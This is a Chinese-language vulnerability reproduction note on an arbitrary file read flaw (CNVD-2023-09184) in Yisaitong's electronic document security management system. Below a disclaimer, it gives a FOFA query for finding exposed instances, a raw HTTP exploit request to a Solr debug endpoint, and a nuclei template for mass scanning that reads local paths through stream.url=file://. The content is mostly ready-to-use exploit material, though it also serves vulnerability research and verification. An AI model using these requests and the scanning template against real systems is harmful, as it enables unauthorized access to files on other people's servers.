免责声明:
本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
漏洞描述
亿赛通 电子文档安全管理系统 任意文件读取 CNVD-2023-09184
fofa语句
title="电子文档安全管理系统"
漏洞复现
打开页面
构造payload
GET /solr/flow/debug/dump?param=ContentStreams HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
nuclei批量验证
id: YiSaiTong-FileReading-CNVD-2023-09184
info:
name: 亿赛通 电子文档安全管理系统 任意文件读取 CNVD-2023-09184
author: changge
severity: high
description: 亿赛通 电子文档安全管理系统 任意文件读取 CNVD-2023-09184
metadata:
fofa-query: title="电子文档安全管理系统"
verified: true
max-request: 1
tags: 2023,yisaitong,亿赛通,任意文件读取
http:
- raw:
- |
POST /solr/flow/debug/dump?param=ContentStreams HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
stream.url=file:///C:\Program Files\
matchers:
- type: word
words:
- 'org.apache.solr.handler.DumpRequestHandler'